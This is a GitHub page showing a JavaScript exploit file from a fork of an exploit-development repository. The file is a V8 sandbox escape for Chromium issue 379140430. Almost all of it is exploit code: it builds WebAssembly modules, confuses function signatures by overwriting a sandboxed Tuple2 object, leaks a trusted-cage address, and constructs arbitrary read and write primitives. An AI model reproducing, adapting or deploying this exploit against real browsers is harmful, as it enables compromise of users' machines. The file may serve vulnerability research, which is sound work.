forked from Petitoto/chromium-exploit-dev
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path379140430.js
More file actions
146 lines (114 loc) · 5.21 KB
/
379140430.js
File metadata and controls
146 lines (114 loc) · 5.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// V8 Sandbox escape, issue 379140430
// Build arbRead() & arbWrite() primitives + leak TRUSTED_CAGE_LEAK
// Require wasm-module-builder.js
{
// Constants
const kWasmTableObjectEntriesOffset = 0xc;
const kFixedArrayEntry0Offset = 0x8;
const kTuple2Value2Offset = 0x8;
const kMapOffset = 0;
const kSmiTagSize = 1;
// Sandboxed getField & setField primitives
let getField = function (obj, offset) {
return sbxMemory.getUint32(untagPtr(obj) + offset, true);
}
let setField = function (obj, offset, value) {
sbxMemory.setUint32(untagPtr(obj) + offset, value, true);
}
// Confuse func_exp's signature
let confuse_sig = function (builder, $func_exp, sig) {
let $sig = builder.addType(sig);
// Build confusion table
let $dummy = builder.addFunction("dummy", $sig);
let $t = builder.addTable(wasmRefType($sig), 1, 1, [kExprRefFunc, $dummy.index]).exportAs("table");
$dummy.addBody(
Array.from(new Array(sig.params.length), (_,k)=>[kExprLocalGet, k]).flat().concat([
kExprI32Const, 0,
kExprCallIndirect, $sig, $t.index,
])).exportFunc();
let instance = builder.instantiate({import: {func_exp: (...v)=>v}});
let {table, dummy} = instance.exports;
// Export-import function with target signature
let func_sig = (() => {
const builder = new WasmModuleBuilder();
let $sig = builder.addType(sig);
let $f = builder.addImport("import", "func", $sig);
builder.addExport("func_sig", $f);
let instance = builder.instantiate({import: {func: (...v)=>v}});
return instance.exports.func_sig;
})();
// Resolve Tuple2 map from table
let entries_ptr = getField(addrOf(table), kWasmTableObjectEntriesOffset);
let entry0_ptr = getField(entries_ptr, kFixedArrayEntry0Offset);
let tuple2_map_ptr = getField(entry0_ptr, kMapOffset);
// Set cross-instance table indexing Tuple2
table.set(0, func_sig);
// Find target Tuple2 (trusted-to-untrusted reference)
// Address is likely close to table entries
let pattern = [tuple2_map_ptr, addrOf(instance), (0 + 1) << kSmiTagSize];
let search_start = tagPtr(entry0_ptr & ~(0x40000 - 1));
let cross_tuple2_ptr = findObject(pattern, search_start, search_start + 0x40000);
// Overwrite origin as an import index for func_exp
let tuple_value_bak = getField(cross_tuple2_ptr, kTuple2Value2Offset);
setField(cross_tuple2_ptr, kTuple2Value2Offset, (-$func_exp - 1) << kSmiTagSize);
// Optimize dummy
let dummy_args = Array(sig.params.length).fill(0n);
optimize(dummy, ...dummy_args);
// Restore backup to prevent later crashes
setField(cross_tuple2_ptr, kTuple2Value2Offset, tuple_value_bak);
return instance;
}
// Build leak exploit function
// Leak argument address (rax), rdx, rcx, rbx, r9, stack
// Lifted code induce rdx = func_exp address ; rcx = trusted pointer
let builder = new WasmModuleBuilder();
let lX_n = 32;
let $sig_lX_r = builder.addType(makeSig([kWasmAnyRef], Array(lX_n).fill(kWasmI64)));
let kSig_lX_lX = makeSig(Array(lX_n).fill(kWasmI64), Array(lX_n).fill(kWasmI64))
let $func_exp_lX_r = builder.addImport("import", "func_exp", $sig_lX_r);
builder.addFunction("leak", $sig_lX_r).addBody([
kExprLocalGet, 0,
kExprCallFunction, $func_exp_lX_r,
]).exportFunc();
let leak_instance;
assertTry(
() => leak_instance = confuse_sig(builder, $func_exp_lX_r, kSig_lX_lX),
"[-] Failed to escape the V8 sandbox using issue 379140430",
);
let {leak} = leak_instance.exports;
var TRUSTED_CAGE_LEAK = leak()[2];
log("[+] Leaked an address in the trusted cage: 0x" + hex(TRUSTED_CAGE_LEAK), level=1);
// Build arbitrary read/write exploit functions
builder = new WasmModuleBuilder();
let $struct = builder.addStruct([makeField(kWasmI64, true)]);
let $sig_s_l = builder.addType(makeSig([kWasmI64], [wasmRefType($struct)]));
let $func_exp_s_l = builder.addImport("import", "func_exp", $sig_s_l);
builder.addFunction("read", kSig_l_l).addBody([
kExprLocalGet, 0,
kExprCallFunction, $func_exp_s_l,
kGCPrefix, kExprStructGet, $struct, 0,
]).exportFunc();
builder.addFunction("write", makeSig([kWasmI64, kWasmI64], [])).addBody([
kExprLocalGet, 0,
kExprCallFunction, $func_exp_s_l,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet, $struct, 0,
]).exportFunc();
let rw_instance;
assertTry(
() => rw_instance = confuse_sig(builder, $func_exp_s_l, kSig_l_l),
"[-] Failed to escape the V8 sandbox using issue 379140430",
);
// arbRead() & arbWrite() primitives
function arbRead(addr) {
return ui64(rw_instance.exports.read(addr-7n));
}
function arbWrite(addr, value) {
rw_instance.exports.write(addr-7n, value);
}
assertTry(
() => arbRead(TRUSTED_CAGE_LEAK),
"[-] Failed to escape the V8 sandbox using issue 379140430",
);
log("[+] Successfully escaped the V8 sandbox using issue 379140430", level=1);
}